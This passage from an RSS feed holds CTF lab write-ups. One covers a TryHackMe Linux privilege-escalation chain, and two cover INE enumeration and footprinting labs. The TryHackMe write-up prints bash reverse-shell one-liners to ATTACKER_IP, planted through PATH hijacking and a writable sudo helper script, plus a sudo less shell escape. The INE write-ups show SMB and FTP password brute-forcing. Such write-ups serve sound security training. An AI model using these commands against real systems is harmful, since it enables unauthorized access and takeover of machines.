purposes.</p><h3>2. Environment Setup</h3><p>Before starting the assessment, I deployed the target machine on TryHackMe and prepared my Kali Linux environment.</p><p>I needed to identify the IP addresses of both machines.</p><h3>Step 1: Identify the Attacker IP</h3><p>On Kali Linux, I executed:</p><pre>ip a</pre><p>This command displays network interfaces and their assigned IP addresses.</p><p>My Kali Linux machine used the following IP addresses during the two reverse shell sessions:</p><ul><li>First session: 10.112.117.158</li><li>Second session: 10.112.119.209</li></ul><h3>Step 2: Identify the Target IP</h3><p>The target machine IP address was:</p><pre>10.112.185.177</pre><p>I used this address when connecting to the FTP service and establishing remote access.</p><h3>3. Reconnaissance and Enumeration</h3><p>The first stage of the assessment was reconnaissance.</p><p>The objective was to identify exposed services and potential entry points on the target machine.</p><h3>Step 1: Network Scanning with Nmap</h3><p>I used Nmap to investigate the target:</p><pre>nmap -sC -sV -oN initial_scan.txt 10.112.185.177</pre><p><strong>Command explanation:</strong></p><ul><li>nmap: Network scanning tool.</li><li>-sC: Runs default NSE scripts.</li><li>-sV: Detects service versions.</li><li>-oN: Saves the scan output in a text file.</li><li>initial_scan.txt: Name of the output file.</li></ul><p>To investigate all TCP ports, the following command can also be used:</p><pre>nmap -p- -T4 10.112.185.177</pre><p><strong>Command explanation:</strong></p><ul><li>-p-: Scans all TCP ports.</li><li>-T4: Uses a faster scanning template.</li></ul><p>The purpose of this stage was to identify services that could provide opportunities for further enumeration.</p><h3>4. FTP Enumeration</h3><p>FTP (File Transfer Protocol) was one of the services I investigated during the assessment.</p><p>FTP allows users to transfer files between a client and a server.</p><p>One important security configuration to investigate is anonymous authentication.</p><h3>Step 1: Connect to the FTP Service</h3><p>I connected to the target using:</p><pre>ftp 10.112.185.177</pre><p>The FTP service allowed anonymous authentication.</p><p>I used the following credentials:</p><pre>Username: anonymous<br>Password: anonymous</pre><h3>Step 2: Enumerate Available Directories</h3><p>After connecting, I started exploring the FTP server.</p><p>I used:</p><pre>pwd<br>ls -la</pre><p><strong>Command explanation:</strong></p><ul><li>pwd: Displays the current remote directory.</li><li>ls -la: Lists files and directories, including hidden entries.</li></ul><p>I investigated the available directories, including:</p><pre>archive<br>uploads<br>pub<br>incoming</pre><p>During the investigation, I checked the available directories and their contents to identify potentially useful files and upload locations.</p><h3>Step 3: Navigate Through Directories</h3><p>To move between directories, I used:</p><pre>cd pub</pre><p>To return to the parent directory:</p><pre>cd ..</pre><p>To check the current location:</p><pre>pwd</pre><p>These commands helped me explore the FTP directory structure.</p><h3>Step 4: FTP File Transfer</h3><p>FTP provides the ability to download and upload files.</p><p>To download a file from the server:</p><pre>get filename</pre><p>To upload a local file to the remote FTP server:</p><pre>put shell.sh</pre><p>The upload operation became particularly important during the next stage of the assessment.</p><p>To exit the FTP session:</p><pre>bye</pre><p><strong>Key Finding:</strong> Anonymous FTP access and the ability to upload files to the incoming directory provided an important attack surface for further investigation.</p><h3>5. Initial Access — First Reverse Shell</h3><p>After investigating the available services, I prepared a reverse shell to establish remote access to the target.</p><p>A reverse shell is a technique in which the target initiates a connection back to the attacking machine, allowing the attacker to interact with a remote command shell.</p><h3>Step 1: Prepare the Shell Script</h3><p>On Kali Linux, I created a shell script:</p><pre>mousepad shell.sh</pre><p>This opened the Mousepad text editor, where I prepared the shell script.</p><p>The script was then used during the FTP file transfer and reverse shell setup.</p><h3>Step 2: Start a Netcat Listener</h3><p>Before receiving the connection, I started a Netcat listener on port 4444:</p><pre>nc -lvnp 4444</pre><p><strong>Command explanation:</strong></p><ul><li>nc: Netcat utility.</li><li>-l: Listen for incoming connections.</li><li>-v: Verbose output.</li><li>-n: Disable DNS resolution.</li><li>-p 4444: Specifies the listening port.</li></ul><p>The listener displayed:</p><pre>listening on [any] 4444 ...</pre><h3>Step 3: Receive the Reverse Shell</h3><p>After executing the shell script on the target, my Kali machine received an incoming connection:</p><pre>connect to [10.112.117.158] from (UNKNOWN) [10.112.185.177]</pre><p>This confirmed that the target successfully connected back to my attacking machine.</p><h3>Step 4: Verify Remote Access</h3><p>Once the connection was established, I checked the current working directory:</p><pre>pwd</pre><p>Output:</p><pre>/home/recon_user</pre><p>I then inspected the directory contents:</p><pre>ls -la</pre><p>To identify the current account:</p><pre>whoami</pre><p>The session was running under:</p><pre>recon_user</pre><h3>Step 5: Retrieve the First Flag</h3><p>I identified the flag file in the user’s home directory:</p><pre>cat flag.txt</pre><p>The command successfully displayed the first flag.</p><p><strong>First Flag Obtained:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dfQ9EURm7fcGMIvQ4XB2pg.png" /><figcaption>flag 1</figcaption></figure><pre>THM{5a3f1c92-7b4e-4d91-8c2a-1f6e9b2a4c11}</pre><p>This confirmed that the first remote access stage was successful.</p><h3>6. FTP File Upload and Second Reverse Shell</h3><p>After obtaining the first flag, I continued investigating the FTP service.</p><p>During this stage, I used the FTP upload functionality to transfer a shell script to the target.</p><h3>Step 1: Navigate to the Incoming Directory</h3><p>I returned to the FTP session and checked the current directory:</p><pre>pwd</pre><p>The output showed:</p><pre>Remote directory: /incoming</pre><p>This was the directory used for the file upload.</p><h3>Step 2: Upload the Shell Script</h3><p>I transferred the local shell script to the remote server:</p><pre>put shell.sh</pre><p>The FTP server confirmed that the transfer was successful:</p><pre>150 Ok to send data.<br>100% Transfer complete.<br>226 Transfer complete.</pre><p>This confirmed that the file was successfully uploaded.</p><h3>Step 3: Start a New Netcat Listener</h3><p>On Kali Linux, I opened a new listener using port 1234:</p><pre>nc -lvnp 1234</pre><p>The listener displayed:</p><pre>listening on [any] 1234 ...</pre><h3>Step 4: Receive the Second Reverse Shell</h3><p>After the uploaded script was executed, the listener received an incoming connection:</p><pre>connect to [10.112.119.209] from (UNKNOWN) [10.112.185.177] 59202</pre><p>This confirmed that another reverse shell connection had been established.</p><h3>Step 5: Identify the New User</h3><p>I inspected the shell prompt:</p><pre>dev_user@tryhackme-2404:~$</pre><p>The session was now running under:</p><pre>dev_user</pre><p>This demonstrated access to a different Linux user account.</p><h3>Step 6: Enumerate the Current Directory</h3><p>I listed the available files:</p><pre>ls</pre><p>The output revealed:</p><pre>flag.txt</pre><p>I then displayed its contents:</p><pre>cat flag.txt</pre><p>The second flag was successfully retrieved.</p><p><strong>Second Flag Obtained:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*laJFSXbqnQc9fr7c0RSPFQ.png" /><figcaption>flag 2</figcaption></figure><pre>THM{8d2b7a41-3f9c-4e55-b1a2-6c7d9e8f0123}</pre><h3>Important Observation</h3><p>The reverse shell displayed the following messages:</p><pre>bash: cannot set terminal process group<br>bash: no job control in this shell</pre><p>These messages indicate that the shell does not have a fully interactive terminal (PTY).</p><p>However, they do not indicate a failed connection.</p><p>The connection was successfully established, and I was able to execute commands and retrieve the second flag.</p><h3>7. Linux Privilege Escalation — Initial Investigation</h3><p>After obtaining access to the dev_user account, the next stage was to investigate potential privilege escalation opportunities.</p><p>The objective of privilege escalation is to identify a security weakness that could allow a low-privileged user to obtain higher privileges, potentially reaching the root account.</p><p>The following areas are important during Linux privilege escalation enumeration:</p><ul><li>User and group permissions.</li><li>Sudo permissions.</li><li>SUID binaries.</li><li>Writable files and directories.</li><li>Scheduled tasks.</li><li>Cron jobs.</li><li>Systemd services and timers.</li><li>Scripts executed with elevated privileges.</li></ul><h3>Step 1: Identify the Current User</h3><p>I started by checking the current account:</p><pre>whoami</pre><p>Then:</p><pre>id</pre><p>The id command displays the user&#39;s UID, GID, and group memberships.</p><h3>Step 2: Check Sudo Permissions</h3><p>I investigated whether the current user had any sudo privileges:</p><pre>sudo -l</pre><p>This command displays commands that the current user is allowed to execute with elevated privileges.</p><h3>Step 3: Enumerate Systemd Timers</h3><p>I used:</p><pre>systemctl list-timers --all</pre><p>This command displays systemd timers, including their scheduled execution times and associated services.</p><p>Scheduled tasks are important to investigate because they may execute scripts automatically.</p><p>If a privileged scheduled task executes a script that an unprivileged user can modify, this may introduce a privilege escalation vulnerability.</p><h3>Step 4: Inspect Cron Jobs</h3><p>I also checked the system-wide Cron configuration:</p><pre>cat /etc/crontab</pre><p>Cron is a Linux task scheduler that executes commands or scripts at predefined times.</p><p>Misconfigured Cron jobs may create opportunities for privilege escalation.</p><h3>Step 5: Search for Writable Files</h3><p>I investigated writable files under /opt:</p><pre>find /opt -type f -writable 2&gt;/dev/null</pre><p>I also checked writable files under /home:</p><pre>find /home -type f -writable 2&gt;/dev/null</pre><p>These commands help identify files that the current user may be able to modify.</p><p>A writable file alone does not guarantee privilege escalation. Its ownership, permissions, and execution context must also be investigated.</p><h3>7. Privilege Escalation: dev_user to monitor_user</h3><p>After obtaining access as dev_user, I continued enumerating the system to identify potential privilege escalation opportunities.</p><p>During this stage, I investigated running processes, systemd services, and executable file permissions.</p><h3>Step 1: Enumerate Running Processes</h3><p>I started by checking processes associated with the monitoring account:</p><pre>ps aux | grep -i monitor | grep -v grep</pre><p>This command helped identify processes running under monitor_user.</p><p>The investigation revealed a health-check process:</p><pre>/bin/bash /usr/local/bin/healthcheck</pre><h3>Step 2: Investigate the Systemd Service</h3><p>I listed running systemd services:</p><pre>systemctl list-units --type=service --state=running</pre><p>I identified:</p><pre>healthcheck.service</pre><p>Then, I checked its status:</p><pre>systemctl status healthcheck.service</pre><p>I also inspected the associated timer:</p><pre>systemctl status healthcheck.timer</pre><p>To understand the service configuration, I executed:</p><pre>systemctl cat healthcheck.service</pre><p>The service configuration revealed an important detail:</p><pre>[Service]<br>Type=simple<br>User=monitor_user<br>Environment=PATH=/opt/dev/bin:/usr/local/bin:/usr/bin<br>ExecStart=/usr/local/bin/healthcheck</pre><h3>Step 3: Identify the PATH Hijacking Vulnerability</h3><p>I inspected the health-check script:</p><pre>cat /usr/local/bin/healthcheck</pre><p>The script contained a command similar to:</p><pre>#!/bin/bash</pre><pre>echo &quot;Running as: $(whoami)&quot;</pre><pre>while true; do<br>    ps aux | grep -v grep<br>    sleep 5<br>done</pre><p>The important observation was that the script executed ps without specifying its absolute path.</p><p>The service’s PATH environment variable started with:</p><pre>/opt/dev/bin</pre><p>This meant that the system could execute a file named ps from /opt/dev/bin before searching the standard system directories.</p><p>I checked the directory permissions:</p><pre>ls -la /opt/dev/bin/</pre><p>I discovered that the dev_user account could modify files inside this directory.</p><p>This created a PATH Hijacking opportunity.</p><h3>Step 4: Prepare the Malicious ps Script</h3><p>I replaced the writable ps executable with a reverse shell script.</p><p>On my Kali Linux machine, I started a listener:</p><pre>nc -lvnp 4445</pre><p>On the target machine, I modified the file:</p><pre>cat &gt; /opt/dev/bin/ps &lt;&lt;&#39;EOF&#39;<br>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/ATTACKER_IP/4445 0&gt;&amp;1<br>EOF</pre><p>I made the script executable:</p><pre>chmod +x /opt/dev/bin/ps</pre><p><strong>Note:</strong> Replace ATTACKER_IP and the listening port with the values used in your lab session.</p><h3>Step 5: Obtain the monitor_user Shell</h3><p>When the health-check service executed the ps command, it found the modified script in /opt/dev/bin because that directory appeared first in PATH.</p><p>The reverse shell connected back to my Kali machine.</p><p>I verified the new user:</p><pre>whoami</pre><p>I also checked the account details:</p><pre>id</pre><p>The session was now running as:</p><pre>monitor_user</pre><h3>Step 6: Retrieve Flag 3</h3><p>I navigated to the user’s home directory:</p><pre>cd ~</pre><p>Then:</p><pre>ls -la</pre><p>I retrieved the third flag:</p><pre>cat flag.txt</pre><p><strong>Flag 3:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6m1evq926Lk_QEg-Rq1sSg.png" /><figcaption>flag 3</figcaption></figure><pre>THM{c1e9a7b3-2d44-4a88-9f7e-3b6c2d5a9f77}</pre><h3>Key Takeaway</h3><p>This stage demonstrated how PATH Hijacking can become a privilege escalation vulnerability.</p><p>When a privileged service executes commands without specifying absolute paths, an attacker who controls an earlier directory in the PATH variable may be able to execute a malicious replacement.</p><h3>8. Privilege Escalation: monitor_user to ops_user</h3><p>After obtaining access as monitor_user, I continued investigating the account&#39;s privileges.</p><p>The next objective was to identify commands that could be executed with elevated permissions.</p><h3>Step 1: Enumerate Sudo Permissions</h3><p>I executed:</p><pre>sudo -l</pre><p>The output revealed that monitor_user was allowed to execute the following script as ops_user without entering a password:</p><pre>(ops_user) NOPASSWD: /usr/local/bin/deploy.sh</pre><p>This was an important finding because it provided a potential path to execute commands under another user’s privileges.</p><h3>Step 2: Inspect the Deployment Script</h3><p>Before executing the script, I inspected its contents:</p><pre>cat /usr/local/bin/deploy.sh</pre><p>The script contained:</p><pre>#!/bin/bash</pre><pre>cd /opt/app 2&gt;/dev/null<br>./deploy_helper.sh</pre><p>The important detail was that deploy.sh executed another script named:</p><pre>deploy_helper.sh</pre><p>I needed to investigate the permissions of that helper script.</p><h3>Step 3: Inspect File Permissions</h3><p>I listed the contents of /opt/app:</p><pre>ls -la /opt/app/</pre><p>I identified the helper script:</p><pre>deploy_helper.sh</pre><p>I then checked its contents:</p><pre>cat /opt/app/deploy_helper.sh</pre><p>The original script contained:</p><pre>#!/bin/bash</pre><pre>echo &quot;[+] Deploy helper running&quot;<br>echo &quot;[+] Syncing application files&quot;<br>sleep 2</pre><p>The important discovery was that monitor_user owned the helper script and had permission to modify it.</p><p>Although I could not modify the main deployment script, I could modify the helper script it executed.</p><p>This created an opportunity to execute commands with the privileges of ops_user.</p><h3>Step 4: Prepare a Reverse Shell</h3><p>On Kali Linux, I started a Netcat listener:</p><pre>nc -lvnp 4446</pre><p>On the target machine, I modified the helper script:</p><pre>cat &gt; /opt/app/deploy_helper.sh &lt;&lt;&#39;EOF&#39;<br>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/ATTACKER_IP/4446 0&gt;&amp;1<br>EOF</pre><p>Replace ATTACKER_IP and the port with the values from your actual session.</p><h3>Step 5: Execute the Deployment Script</h3><p>I used the sudo permission discovered earlier:</p><pre>sudo -u ops_user /usr/local/bin/deploy.sh</pre><p><strong>Command explanation:</strong></p><ul><li>sudo: Executes a command with elevated permissions.</li><li>-u ops_user: Specifies the account under which the command should run.</li><li>/usr/local/bin/deploy.sh: The authorized deployment script.</li></ul><p>Because the deployment script executed the modified helper script, the reverse shell was established under the ops_user account.</p><h3>Step 6: Verify Access</h3><p>I checked the current user:</p><pre>whoami</pre><p>Then:</p><pre>id</pre><p>The new shell confirmed access as:</p><pre>ops_user</pre><h3>Step 7: Retrieve Flag 4</h3><p>I navigated to the user’s home directory:</p><pre>cd ~</pre><p>Then retrieved the flag:</p><pre>cat flag.txt</pre><p><strong>Flag 4:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ae7vcFp3gzmJXlmb7BO6IQ.png" /><figcaption>flag 4</figcaption></figure><pre>THM{f7a2c9d1-6e33-4b55-8d11-9c0a7b2e4d88}</pre><h3>Key Takeaway</h3><p>This stage demonstrated the security risks associated with writable scripts executed through privileged deployment processes.</p><p>Even if the main script is protected, a writable helper script executed by that main script can provide an opportunity for privilege escalation.</p><h3>9. Final Privilege Escalation: ops_user to Root</h3><p>After obtaining access as ops_user, I performed another privilege enumeration to identify the remaining opportunities for privilege escalation.</p><h3>Step 1: Check Sudo Permissions</h3><p>I executed:</p><pre>sudo -l</pre><p>The output revealed:</p><pre>(root) NOPASSWD: /usr/bin/less</pre><p>This meant that ops_user could execute the less utility as root without requiring a password.</p><h3>Step 2: Understand the Vulnerability</h3><p>less is a Linux command-line utility commonly used to view text files.</p><p>However, it also supports shell commands through its interactive interface.</p><p>When executed with elevated privileges, this functionality may allow a user to execute commands with those same privileges.</p><p>This behavior is documented by GTFOBins under the less entry.</p><h3>Step 3: Execute less with Root Privileges</h3><p>I used the following command:</p><pre>sudo /usr/bin/less /etc/hosts</pre><p>This opened the file using less with root privileges.</p><p>Inside the less interface, I entered:</p><pre>!/bin/bash</pre><p>This launched a Bash shell with the privileges inherited from the root-executed less process.</p><h3>Step 4: Verify Root Access</h3><p>To confirm the privilege escalation, I executed:</p><pre>whoami</pre><p>The output was:</p><pre>root</pre><p>This confirmed successful root-level access.</p><h3>Step 5: Retrieve the Final Flag</h3><p>With root privileges, I accessed the final flag:</p><pre>cat /root/flag.txt</pre><p>The command displayed the final flag.</p><p><strong>Flag 5 — Root:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S_xJf1CiAQtsX9eQStj1jw.png" /><figcaption>flag 5</figcaption></figure><pre>THM{2b8e6c4a-1d55-4f90-a3c7-5e9d1b7f6a22}</pre><h3>Key Takeaway</h3><p>This final stage demonstrated why allowing an unprivileged account to execute interactive utilities such as less with root privileges can be dangerous.</p><p>The ability to escape from the application into a shell can effectively bypass the intended restrictions.</p><h3>10. Complete Attack Chain</h3><p>The Jump room demonstrated a sequence of security misconfigurations that allowed lateral movement between multiple Linux accounts.</p><p>The complete attack chain was:</p><pre>Anonymous FTP<br>      |<br>      v<br>  recon_user<br>      |<br>      | Writable backup.sh<br>      v<br>   dev_user<br>      |<br>      | PATH Hijacking<br>      v<br> monitor_user<br>      |<br>      | Sudo + Writable Helper Script<br>      v<br>   ops_user<br>      |<br>      | Sudo less<br>      v<br>     ROOT</pre><h3>11. Final Lessons Learned</h3><p>Completing the Jump room provided practical experience with several Linux security concepts.</p><p>The most important lessons were:</p><ol><li><strong>FTP Misconfiguration:</strong> Anonymous authentication and writable upload directories can expose a system to unauthorized access.</li><li><strong>Linux Permissions:</strong> Writable files and directories can become dangerous when they are used by processes running under more privileged accounts.</li><li><strong>Scheduled Tasks:</strong> Automated scripts should always be investigated during privilege escalation.</li><li><strong>PATH Hijacking:</strong> Executing commands without absolute paths can create opportunities for malicious executable substitution.</li><li><strong>Sudo Misconfiguration:</strong> Granting access to powerful utilities or scripts without proper restrictions can lead to privilege escalation.</li><li><strong>GTFOBins:</strong> Legitimate Linux binaries can sometimes be abused to bypass security restrictions.</li><li><strong>Systematic Enumeration:</strong> Every time access is obtained under a new user, permissions and privileges should be investigated again.</li></ol><h3>12. Conclusion</h3><p>The Jump room was a valuable practical exercise in Linux privilege escalation and lateral movement.</p><p>Rather than relying on a single vulnerability, the challenge required identifying and chaining multiple security misconfigurations across different user accounts.</p><p>Starting from anonymous FTP access, I progressed through several Linux accounts until I successfully obtained root-level access.</p><p>The biggest lesson from this room is that privilege escalation is not always about exploiting an outdated service or a software vulnerability.</p><p>Sometimes, insecure permissions, poorly configured automation, and excessive trust between system components are enough to compromise an entire machine.</p><p><strong>All five flags were successfully obtained.</strong></p><p><strong>Author: Scorpion</strong></p><p>Cybersecurity | Penetration Testing | Linux Security | Red Teaming</p><p><em>Learning, practicing, and documenting one lab at a time.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4582d5f3b367" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Enumeration INE Lab]]></title>
            <link>https://medium.com/@sarahalaaeldin00/enumeration-ine-lab-c59876ca2118?source=rss-21f892eeba69------2</link>
            <guid isPermaLink="false">https://medium.com/p/c59876ca2118</guid>
            <dc:creator><![CDATA[Scorpion]]></dc:creator>
            <pubDate>Tue, 17 Nov 2026 15:28:56 GMT</pubDate>
            <atom:updated>2026-11-17T15:28:56.336Z</atom:updated>
            <content:encoded><![CDATA[<h3>Write-up: Enumeration CTF 1 (INE Labs)</h3><h3>📝 Introduction</h3><p>This report documents the steps taken to solve the Enumeration CTF 1 lab. The objective of this lab is to test enumeration skills and the exploitation of exposed services (such as SMB, FTP, and SSH) to capture 4 flags from a Linux target machine.</p><p>Target: target.ine.local</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</p><h3>🔍 Phase 1: Reconnaissance</h3><p>We started with a comprehensive scan of all ports and services running on the target using Nmap:</p><h4>nmap -sS -sV -Pn -p- target.ine.local</h4><p>Key Findings:</p><ul><li>Port 22 (SSH): OpenSSH 8.2p1</li><li>Ports 139 &amp; 445 (SMB): Samba smbd 4.6.2</li><li>NetBIOS hostname discovered: TARGET.</li></ul><h3>🚩 Flag 1: Anonymous SMB Share</h3><p>Hint: There is a Samba share that allows anonymous access.</p><ol><li>We enumerated the available shares using smbclient.</li><li>By utilizing the wordlist located at /root/Desktop/wordlists/shares.txt, we discovered a share named pubfiles that accepts anonymous connections:</li></ol><blockquote>smbclient -N //target.ine.local/pubfiles</blockquote><p>3. Inside the session, we used ls to list the files and downloaded the flag:</p><blockquote>get flag1.txt</blockquote><p>4. Reading the file with cat flag1.txt revealed the first flag.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>🚩 Flag 2: Weak SMB Password</h3><p>Hint: One of the Samba users has a bad password, and their private share has the same name as their username.</p><ol><li>User Enumeration: We used enum4linux to extract usernames from the SMB service:</li></ol><blockquote>enum4linux -U target.ine.local</blockquote><ol><li>Result: Discovered users: josh, nancy, bob.</li><li>Brute-forcing the Password: We used CrackMapExec with the unix_passwords.txt wordlist:</li></ol><blockquote>crackmapexec smb target.ine.local -u josh,nancy,bob -p /root/Desktop/wordlists/unix_passwords.txt</blockquote><p><em>Note: We initially faced issues with the command syntax, but specifying the usernames separated by commas worked successfully).</em> Result: Found valid credentials: josh:purple.</p><p>4. Accessing the Flag: Since the share name matches the username, we connected using smbclient:</p><blockquote><strong>smbclient //target.ine.local/josh -U josh</strong></blockquote><p>We entered the password purple, listed the files, and downloaded the flag:</p><blockquote>get flag2.txt</blockquote><p>Reading the file with cat flag2.txt revealed the, which also contained a hint for the next step.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</p><h3>🚩 Flag 3: Hidden FTP Service</h3><p>Hint: Follow the hint given in the previous flag (which points to an FTP service).</p><ol><li>Port Discovery: The FTP service was not running on the default port (21), but rather on port 5554.</li><li>When attempting to connect to port 5554, the service’s welcome banner suggested usernames: ashley, alice, amanda.</li><li>Brute-forcing the Password: We created a file userftp.txt containing the username alice and used Hydra:</li></ol><blockquote>hydra -L userftp.txt -P /root/Desktop/wordlists/unix_passwords.txt -s 5554 ftp://target.ine.local</blockquote><p>Result: Found valid credentials: alice:pretty.</p><p>4. Accessing the Flag: We logged into the FTP service:</p><blockquote>ftp target.ine.local 5554</blockquote><p>We entered the credentials and downloaded the file:</p><blockquote>get flag3.txt</blockquote><p>Reading the file with cat flag3.txt revealed the <strong>third flag</strong>.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>🚩 Flag 4: SSH Warning Banner</h3><p>Hint: This is a warning meant to deter unauthorized users from logging in.</p><ol><li>After obtaining valid credentials for the user alice, we attempted to connect to the SSH service (Port 22):</li></ol><blockquote>ssh alice@target.ine.local</blockquote><p>Before prompting for a password, the SSH service displayed a warning banner that contained the <strong>fourth flag</strong> (in MD5 format).</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>💡 Key Takeaways</h3><ul><li>Enumeration is Key: Services like SMB (via enum4linux) often leak vital usernames that can be leveraged for password guessing attacks.</li><li>Watch the Banners: Welcome messages in services like FTP and SSH can leak sensitive information (such as usernames or flags).</li><li>Command Syntax Matters: Understanding how tools work (like CrackMapExec or smbclient) and how to pass wordlists correctly (-L instead of -l) saves a lot of time.</li><li>Password Reuse: The user alice reused the same weak password (pretty) for both FTP and SSH, making the attack sequence (pivoting) much easier.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c59876ca2118" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Write-up: INE Assessment Methodologies — Footprinting and Scanning CTF 1]]></title>
            <link>https://medium.com/@sarahalaaeldin00/write-up-ine-assessment-methodologies-footprinting-and-scanning-ctf-1-02cc03d7b3b2?source=rss-21f892eeba69------2</link>
            <guid isPermaLink="false">https://medium.com/p/02cc03d7b3b2</guid>
            <dc:creator><![CDATA[Scorpion]]></dc:creator>
            <pubDate>Tue, 17 Nov 2026 14:54:53 GMT</pubDate>
            <atom:updated>2026-11-17T14:54:53.018Z</atom:updated>
            <content:encoded><![CDATA[<h3>📌 Overview</h3><ul><li>Target: target.ine.local (192.78.77.3)</li><li>Lab Type: Reconnaissance &amp; Footprinting</li><li>Tools Used: Nmap, FTP Client, cURL, Burp Suite.</li></ul><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>🚩 Flag 1: Server Identity (HTTP Response Headers)</h3><h3>💡 Hint:</h3><blockquote>“The server proudly announces its identity in every response. Look closely; you might find something unusual.”</blockquote><h3>🔍 Analysis:</h3><p>The hint points directly to HTTP Response Headers. Web servers typically send a Server header containing server information, and sometimes developers leave custom data in these headers.</p><h3>🛠️ Steps to Solve:</h3><ol><li>Method 1 (Using Nmap):<br>We ran a comprehensive scan against the target:</li></ol><h4>nmap -sS -sV -sC -A -T4 -p- 192.78.77.3</h4><p>In the scan results for port 80 (HTTP), the server header revealed an unusual string:<br>Server: FLAG1_0ec2bdae19548a19f8fd0.....</p><p>2. Method 2 (Using cURL):<br>You can fetch the headers directly from the command line:</p><h4>curl -I <a href="http://target.ine.local/">http://target.ine.local</a></h4><p>3. Method 3 (Using Burp Suite):<br>By intercepting a GET / request in Burp Suite, the Response tab clearly shows the header containing the flag.</p><h3>🏁 Result:</h3><p>Flag 1: FLAG1_0ec2bdae19548a19f8fd0....</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>🚩 Flag 3: Anonymous FTP Access</h3><h3>💡 Hint:</h3><blockquote>“Anonymous access sometimes leads to forgotten treasures. Connect and explore the directory; you might stumble upon something valuable.”</blockquote><h3>🔍 Analysis:</h3><p>The hint directly points to using the File Transfer Protocol (FTP) via Anonymous Login. This means the server allows users to log in with the username anonymous without requiring a real password.</p><h3>🛠️ Steps to Solve:</h3><ol><li>Service Discovery (via Nmap):<br>In the Nmap scan we ran for Flag 1, port 21 (FTP) was open, and the output confirmed it accepted anonymous logins:<br>ftp-anon: Anonymous FTP login allowed</li><li>Connecting to the Server:<br>We used the terminal to connect to the server:</li></ol><h4>ftp 192.78.77.3 <em>(or </em>ftp target.ine.local<em>)</em></h4><p>3. Anonymous Login:</p><ul><li>At the Name: prompt, we typed: anonymous</li><li>At the Password: prompt, we typed: anonymous (or left it blank by pressing Enter).</li><li>The server responded with: 230 Login successful.</li></ul><p>4. Exploring and Downloading Files:</p><ul><li>We used the ls command to list files, which revealed two files: flag.txt and creds.txt.</li><li>We downloaded both files to our local machine using the get command:</li></ul><h4>get flag.txt<br>get creds.txt</h4><ul><li>We exited the FTP session using bye.</li></ul><p>5. Reading the Flag:<br>Back in the normal terminal, we read the file’s contents:</p><h4>cat flag.txt</h4><p><em>(Note: The </em>creds.txt<em> file contained critical credentials (</em>db_admin:password@123<em>) that were used later in the lab).</em></p><h3>🏁 Result:</h3><p>Flag 3: FLAG3_55d9e3b36ff44b7dba0ad91.....</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>🚩 Flag 2 : The gatekeeper’s instructions often reveal what should remain unseen. Don’t forget to read between the lines.</h3><h3>🛠️ Steps to Solve:</h3><p>Let’s try to run the last command of curl without<strong> -I </strong>option (It makes a HEAD request to the server instead of a GET request. The server responds with just the headers, excluding the body/content).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*7JSf87agXpC5BZM1.png" /><figcaption>flag2</figcaption></figure><p>The Get request responded with <strong>“flag.txt”</strong> file.</p><p>let’s open it !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/0*N2NCsO7v3VNBvStL.png" /><figcaption>flag2</figcaption></figure><h3>🏁 Result:</h3><p>Flag2: ae34ea0eafab46dba2372bd3….</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>🚩 Flag 4: A well-named database can be quite revealing. Peek at the configurations to discover the hidden treasure.</h3><h3>🔍 Analysis:</h3><p>Before analyzing the hint in flag4, if we check the<strong> “creds.txt”</strong> file from the last attempt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/313/0*obMKc-4u8r9aH5i9.png" /></figure><p>Let’s save this piece of information for later ;)</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/0*034-iJTaeaylxMlc.png" /></figure><p>From the last nmap scan…</p><p><strong>mysql service is running on port 3306/tcp.</strong></p><p>We connect on its server</p><h4><strong>mysql -u db_admin -p -h target.ine.local</strong></h4><p>mysql: This is the MySQL client command, which is used to interact with MySQL databases from the command line.</p><ul><li>-u: specifies the username to use when connecting to the MySQL server.</li><li>-p: This flag is used to prompt the user to enter the password for the specified MySQL user.</li><li>-h: specifies the host of the MySQL server to connect to.</li></ul><p>(using the creds we found from creds.txt).</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/0*EsZIi5RGTDwg6sq4.png" /><figcaption>flag4</figcaption></figure><h3>🏁 Result:</h3><p><em>Flag4: 99a516cd551a407c8f8552b5…….</em></p><p>Finally! we were able to extract the last Flag</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=02cc03d7b3b2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Brr — Write-up]]></title>
            <link>https://medium.com/@sarahalaaeldin00/tryhackme-brr-write-up-426baae3172a?source=rss-21f892eeba69------2</link>
            <guid isPermaLink="false">https://medium.com/p/426baae3172a</guid>
            <category><![CDATA[tryhackme-brr]]></category>
            <dc:creator><![CDATA[Scorpion]]></dc:creator>
            <pubDate>Tue, 17 Nov 2026 14:04:20 GMT</pubDate>
